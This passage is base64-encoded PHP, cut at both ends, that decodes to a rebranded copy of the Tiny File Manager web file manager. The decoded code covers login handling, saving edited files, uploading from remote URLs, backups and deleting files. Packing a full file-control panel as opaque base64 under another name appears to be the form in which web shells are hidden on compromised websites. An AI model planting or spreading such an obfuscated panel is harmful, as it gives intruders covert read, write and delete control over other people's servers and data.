7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+IiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00IiByb2xlPSJidXR0b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdMb2dpbicpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIHRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKAlOKAlCDCqQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkIiBkYXRhLXZlcnNpb249Ijw/cGhwIGVjaG8gVkVSU0lPTjsgPz4iPkNDUCBQcm9ncmFtbWVyczwvYT4g4oCU4oCUCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvc2VjdGlvbj4KCiAgICAgICAgPD9waHAKICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCi8vIHVwZGF0ZSByb290IHBhdGgKaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkgewogICAgJHJvb3RfcGF0aCA9IGlzc2V0KCRkaXJlY3Rvcmllc191c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXSkgPyAkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0gOiAkcm9vdF9wYXRoOwp9CgovLyBjbGVhbiBhbmQgY2hlY2sgJHJvb3RfcGF0aAokcm9vdF9wYXRoID0gcnRyaW0oJHJvb3RfcGF0aCwgJ1xcLycpOwokcm9vdF9wYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcm9vdF9wYXRoKTsKaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7CiAgICBlY2hvICI8aDE+Ii5sbmcoJ1Jvb3QgcGF0aCcpLiIgXCJ7JHJvb3RfcGF0aH1cIiAiLmxuZygnbm90IGZvdW5kIScpLiIgPC9oMT4iOwogICAgZXhpdDsKfQoKZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTsKZGVmaW5lZCgnRk1fUk9PVF9QQVRIJykgfHwgZGVmaW5lKCdGTV9ST09UX1BBVEgnLCAkcm9vdF9wYXRoKTsKZGVmaW5lZCgnRk1fTEFORycpIHx8IGRlZmluZSgnRk1fTEFORycsICRsYW5nKTsKZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fVVBMT0FEX0VYVEVOU0lPTicpIHx8IGRlZmluZSgnRk1fVVBMT0FEX0VYVEVOU0lPTicsICRhbGxvd2VkX3VwbG9hZF9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fRVhDTFVERV9JVEVNUycpIHx8IGRlZmluZSgnRk1fRVhDTFVERV9JVEVNUycsICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykgPyBzZXJpYWxpemUoJGV4Y2x1ZGVfaXRlbXMpIDogJGV4Y2x1ZGVfaXRlbXMpKTsKZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTsKZGVmaW5lKCdGTV9SRUFET05MWScsICRnbG9iYWxfcmVhZG9ubHkgfHwgKCR1c2VfYXV0aCAmJiAhZW1wdHkoJHJlYWRvbmx5X3VzZXJzKSAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiBpbl9hcnJheSgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddLCAkcmVhZG9ubHlfdXNlcnMpKSk7CmRlZmluZSgnRk1fSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsKCi8vIGFsd2F5cyB1c2UgP3A9CmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpOwp9CgovLyBnZXQgcGF0aAokcCA9IGlzc2V0KCRfR0VUWydwJ10pID8gJF9HRVRbJ3AnXSA6IChpc3NldCgkX1BPU1RbJ3AnXSkgPyAkX1BPU1RbJ3AnXSA6ICcnKTsKCi8vIGNsZWFuIHBhdGgKJHAgPSBmbV9jbGVhbl9wYXRoKCRwKTsKCi8vIGZvciBhamF4IHJlcXVlc3QgLSBzYXZlCiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7CgovLyBpbnN0ZWFkIGdsb2JhbHMgdmFycwpkZWZpbmUoJ0ZNX1BBVEgnLCAkcCk7CmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpOwpkZWZpbmUoJ0ZNX0VESVRfRklMRScsICRlZGl0X2ZpbGVzKTsKZGVmaW5lZCgnRk1fSUNPTlZfSU5QVVRfRU5DJykgfHwgZGVmaW5lKCdGTV9JQ09OVl9JTlBVVF9FTkMnLCAkaWNvbnZfaW5wdXRfZW5jb2RpbmcpOwpkZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpOwpkZWZpbmVkKCdGTV9ISUdITElHSFRKU19TVFlMRScpIHx8IGRlZmluZSgnRk1fSElHSExJR0hUSlNfU1RZTEUnLCAkaGlnaGxpZ2h0anNfc3R5bGUpOwpkZWZpbmVkKCdGTV9EQVRFVElNRV9GT1JNQVQnKSB8fCBkZWZpbmUoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcsICRkYXRldGltZV9mb3JtYXQpOwoKdW5zZXQoJHAsICR1c2VfYXV0aCwgJGljb252X2lucHV0X2VuY29kaW5nLCAkdXNlX2hpZ2hsaWdodGpzLCAkaGlnaGxpZ2h0anNfc3R5bGUpOwoKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKiBBQ1RJT05TICoqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIEhhbmRsZSBhbGwgQUpBWCBSZXF1ZXN0CmlmICgoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pIHx8ICFGTV9VU0VfQVVUSCkgJiYgaXNzZXQoJF9QT1NUWydhamF4J10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgICAgIGRpZSgiSW52YWxpZCBUb2tlbi4iKTsKICAgIH0KCiAgICAvL3NlYXJjaCA6IGdldCBsaXN0IG9mIGZpbGVzIGZyb20gdGhlIGN1cnJlbnQgZm9sZGVyCiAgICBpZihpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ109PSJzZWFyY2giKSB7CiAgICAgICAgJGRpciA9ICRfUE9TVFsncGF0aCddID09ICIuIiA/ICcnOiAkX1BPU1RbJ3BhdGgnXTsKICAgICAgICAkcmVzcG9uc2UgPSBzY2FuKGZtX2NsZWFuX3BhdGgoJGRpciksICRfUE9TVFsnY29udGVudCddKTsKICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7CiAgICAgICAgZXhpdCgpOwogICAgfQoKICAgIC8vIHNhdmUgZWRpdG9yIGZpbGUKICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gInNhdmUiKSB7CiAgICAgICAgLy8gZ2V0IGN1cnJlbnQgcGF0aAogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQogICAgICAgIC8vIGNoZWNrIHBhdGgKICAgICAgICBpZiAoIWlzX2RpcigkcGF0aCkpIHsKICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7CiAgICAgICAgfQogICAgICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsKICAgICAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpOwogICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgICAgICB9CiAgICAgICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTsKICAgICAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAgICAgJHdyaXRlZGF0YSA9ICRfUE9TVFsnY29udGVudCddOwogICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsICJ3Iik7CiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7CiAgICAgICAgZmNsb3NlKCRmZCk7CiAgICAgICAgaWYgKCR3cml0ZV9yZXN1bHRzID09PSBmYWxzZSl7CiAgICAgICAgICAgIGhlYWRlcigiSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvciIpOwogICAgICAgICAgICBkaWUoIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIC8gT3duZXJzaGlwIik7CiAgICAgICAgfQogICAgICAgIGRpZSh0cnVlKTsKICAgIH0KCiAgICAvLyBiYWNrdXAgZmlsZXMKICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gImJhY2t1cCIgJiYgIWVtcHR5KCRfUE9TVFsnZmlsZSddKSkgewogICAgICAgICRmaWxlTmFtZSA9IGZtX2NsZWFuX3BhdGgoJF9QT1NUWydmaWxlJ10pOwogICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICcvJzsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncGF0aCddKSkgewogICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7CiAgICAgICAgICAgICRmdWxsUGF0aCAuPSAieyRyZWxhdGl2ZURpclBhdGh9LyI7CiAgICAgICAgfQogICAgICAgICRkYXRlID0gZGF0ZSgiZE15LUhpcyIpOwogICAgICAgICRuZXdGaWxlTmFtZSA9ICJ7JGZpbGVOYW1lfS17JGRhdGV9LmJhayI7CiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIkZpbGUgeyRmaWxlTmFtZX0gbm90IGZvdW5kIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGNvcHkoJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUsICRmdWxsUGF0aCAuICRuZXdGaWxlTmFtZSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkIjsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oIkNvdWxkIG5vdCBjb3B5IGZpbGUgeyRmaWxlTmFtZX0iKTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICBlY2hvICRlLT5nZXRNZXNzYWdlKCk7CiAgICAgICAgfQogICAgfQoKICAgIC8vIFNhdmUgQ29uZmlnCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJzZXR0aW5ncyIpIHsKICAgICAgICBnbG9iYWwgJGNmZywgJGxhbmcsICRyZXBvcnRfZXJyb3JzLCAkc2hvd19oaWRkZW5fZmlsZXMsICRsYW5nX2xpc3QsICRoaWRlX0NvbHMsICR0aGVtZTsKICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddOwogICAgICAgIGZtX2dldF90cmFuc2xhdGlvbnMoW10pOwogICAgICAgIGlmICghYXJyYXlfa2V5X2V4aXN0cygkbmV3TG5nLCAkbGFuZ19saXN0KSkgewogICAgICAgICAgICAkbmV3TG5nID0gJ2VuJzsKICAgICAgICB9CgogICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09ICJ0cnVlIiA/IHRydWUgOiBmYWxzZTsKICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107CgogICAgICAgIGlmICgkY2ZnLT5kYXRhWydsYW5nJ10gIT0gJG5ld0xuZykgewogICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nOwogICAgICAgICAgICAkbGFuZyA9ICRuZXdMbmc7CiAgICAgICAgfQogICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ2Vycm9yX3JlcG9ydGluZyddID0gJGVycDsKICAgICAgICAgICAgJHJlcG9ydF9lcnJvcnMgPSAkZXJwOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSAhPSAkc2hmKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmOwogICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSAhPSAkc2hmKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmOwogICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykgewogICAgICAgICAgICAkY2ZnLT5kYXRhWydoaWRlX0NvbHMnXSA9ICRoY287CiAgICAgICAgICAgICRoaWRlX0NvbHMgPSAkaGNvOwogICAgICAgIH0KICAgICAgICBpZiAoJGNmZy0+ZGF0YVsndGhlbWUnXSAhPSAkdGUzKSB7CiAgICAgICAgICAgICRjZmctPmRhdGFbJ3RoZW1lJ10gPSAkdGUzOwogICAgICAgICAgICAkdGhlbWUgPSAkdGUzOwogICAgICAgIH0KICAgICAgICAkY2ZnLT5zYXZlKCk7CiAgICAgICAgZWNobyB0cnVlOwogICAgfQoKICAgIC8vIG5ldyBwYXNzd29yZCBoYXNoCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJwd2RoYXNoIikgewogICAgICAgICRyZXMgPSBpc3NldCgkX1BPU1RbJ2lucHV0UGFzc3dvcmQyJ10pICYmICFlbXB0eSgkX1BPU1RbJ2lucHV0UGFzc3dvcmQyJ10pID8gcGFzc3dvcmRfaGFzaCgkX1BPU1RbJ2lucHV0UGFzc3dvcmQyJ10sIFBBU1NXT1JEX0RFRkFVTFQpIDogJyc7CiAgICAgICAgZWNobyAkcmVzOwogICAgfQoKICAgIC8vdXBsb2FkIHVzaW5nIHVybAogICAgaWYoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09ICJ1cGxvYWQiICYmICFlbXB0eSgkX1JFUVVFU1RbInVwbG9hZHVybCJdKSkgewogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQoKICAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2sgKCRtZXNzYWdlKSB7CiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJG1lc3NhZ2UpOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZ2V0X2ZpbGVfcGF0aCAoKSB7CiAgICAgICAgICAgIGdsb2JhbCAkcGF0aCwgJGZpbGVpbmZvLCAkdGVtcF9maWxlOwogICAgICAgICAgICByZXR1cm4gJHBhdGguIi8iLmJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7CiAgICAgICAgfQoKICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFsidXBsb2FkdXJsIl0pICYmIHByZWdfbWF0Y2goInxeaHR0cChzKT86Ly8uKyR8Iiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsidXBsb2FkdXJsIl0pKSA/IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbInVwbG9hZHVybCJdKSA6IG51bGw7CgogICAgICAgIC8vcHJldmVudCAxMjcuKiBkb21haW4gYW5kIGtub3duIHBvcnRzCiAgICAgICAgJGRvbWFpbiA9IHBhcnNlX3VybCgkdXJsLCBQSFBfVVJMX0hPU1QpOwogICAgICAgICRwb3J0ID0gcGFyc2VfdXJsKCR1cmwsIFBIUF9VUkxfUE9SVCk7CiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07CgogICAgICAgIGlmIChwcmVnX21hdGNoKCIvXmxvY2FsaG9zdCR8XjEyNyg/OlwuWzAtOV0rKXswLDJ9XC5bMC05XSskfF4oPzowKlw6KSo/Oj8wKjEkL2kiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7CiAgICAgICAgICAgICRlcnIgPSBhcnJheSgibWVzc2FnZSIgPT4gIlVSTCBpcyBub3QgYWxsb3dlZCIpOwogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZmFpbCIgPT4gJGVycikpOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQoKICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTsKICAgICAgICAkdGVtcF9maWxlID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICJ1cGxvYWQtIik7CiAgICAgICAgJGZpbGVpbmZvID0gbmV3IHN0ZENsYXNzKCk7CiAgICAgICAgJGZpbGVpbmZvLT5uYW1lID0gdHJpbShiYXNlbmFtZSgkdXJsKSwgIi5ceDAwLi5ceDIwIik7CgogICAgICAgICRhbGxvd2VkID0gKEZNX1VQTE9BRF9FWFRFTlNJT04pID8gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pIDogZmFsc2U7CiAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVpbmZvLT5uYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlOwoKICAgICAgICAkZXJyID0gZmFsc2U7CgogICAgICAgIGlmKCEkaXNGaWxlQWxsb3dlZCkgewogICAgICAgICAgICAkZXJyID0gYXJyYXkoIm1lc3NhZ2UiID0+ICJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCIpOwogICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheSgiZmFpbCIgPT4gJGVycikpOwogICAgICAgICAgICBleGl0KCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoISR1cmwpIHsKICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsKICAgICAgICB9IGVsc2UgaWYgKCR1c2VfY3VybCkgewogICAgICAgICAgICBAJGZwID0gZm9wZW4oJHRlbXBfZmlsZSwgInciKTsKICAgICAgICAgICAgQCRjaCA9IGN1cmxfaW5pdCgkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlICk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgICAgICAgICBAJHN1Y2Nlc3MgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpOwogICAgICAgICAgICBpZiAoISRzdWNjZXNzKSB7CiAgICAgICAgICAgICAgICAkZXJyID0gYXJyYXkoIm1lc3NhZ2UiID0+IGN1cmxfZXJyb3IoJGNoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICRmaWxlaW5mby0+c2l6ZSA9ICRjdXJsX2luZm9bInNpemVfZG93bmxvYWQiXTsKICAgICAgICAgICAgJGZpbGVpbmZvLT50eXBlID0gJGN1cmxfaW5mb1siY29udGVudF90eXBlIl07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpOwogICAgICAgICAgICBAJHN1Y2Nlc3MgPSBjb3B5KCR1cmwsICR0ZW1wX2ZpbGUsICRjdHgpOwogICAgICAgICAgICBpZiAoISRzdWNjZXNzKSB7CiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKCRzdWNjZXNzKSB7CiAgICAgICAgICAgICRzdWNjZXNzID0gcmVuYW1lKCR0ZW1wX2ZpbGUsIHN0cnRvayhnZXRfZmlsZV9wYXRoKCksICc/JykpOwogICAgICAgIH0KCiAgICAgICAgaWYgKCRzdWNjZXNzKSB7CiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KCJkb25lIiA9PiAkZmlsZWluZm8pKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1bmxpbmsoJHRlbXBfZmlsZSk7CiAgICAgICAgICAgIGlmICghJGVycikgewogICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KCJtZXNzYWdlIiA9PiAiSW52YWxpZCB1cmwgcGFyYW1ldGVyIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoImZhaWwiID0+ICRlcnIpKTsKICAgICAgICB9CiAgICB9CiAgICBleGl0KCk7Cn0KCi8vIERlbGV0ZSBmaWxlIC8gZm9sZGVyCmlmIChpc3NldCgkX0dFVFsnZGVsJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkZGVsID0gc3RyX3JlcGxhY2UoICcvJywgJycsIGZtX2NsZWFuX3BhdGgoICRfR0VUWydkZWwnXSApICk7CiAgICBpZiAoJGRlbCAhPSAnJyAmJiAkZGVsICE9ICcuLicgJiYgJGRlbCAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICAgICAgfQogICAgICAgICRpc19kaXIgPSBpc19kaXIoJHBhdGggLiAnLycgLiAkZGVsKTsKICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICcvJyAuICRkZWwpKSB7CiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnRGVsZXRlZCcpIDogbG5nKCdGaWxlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0RlbGV0ZWQnKTsKICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCRtc2csIGZtX2VuYygkZGVsKSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnbm90IGRlbGV0ZWQnKSA6IGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdub3QgZGVsZXRlZCcpOwogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJG1zZywgZm1fZW5jKCRkZWwpKSwgJ2Vycm9yJyk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpOwogICAgfQogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBDcmVhdGUgYSBuZXcgZmlsZS9mb2xkZXIKaWYgKGlzc2V0KCRfUE9TVFsnbmV3ZmlsZW5hbWUnXSwgJF9QT1NUWyduZXdmaWxlJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkdHlwZSA9IHVybGRlY29kZSgkX1BPU1RbJ25ld2ZpbGUnXSk7CiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoICcvJywgJycsIGZtX2NsZWFuX3BhdGgoIHN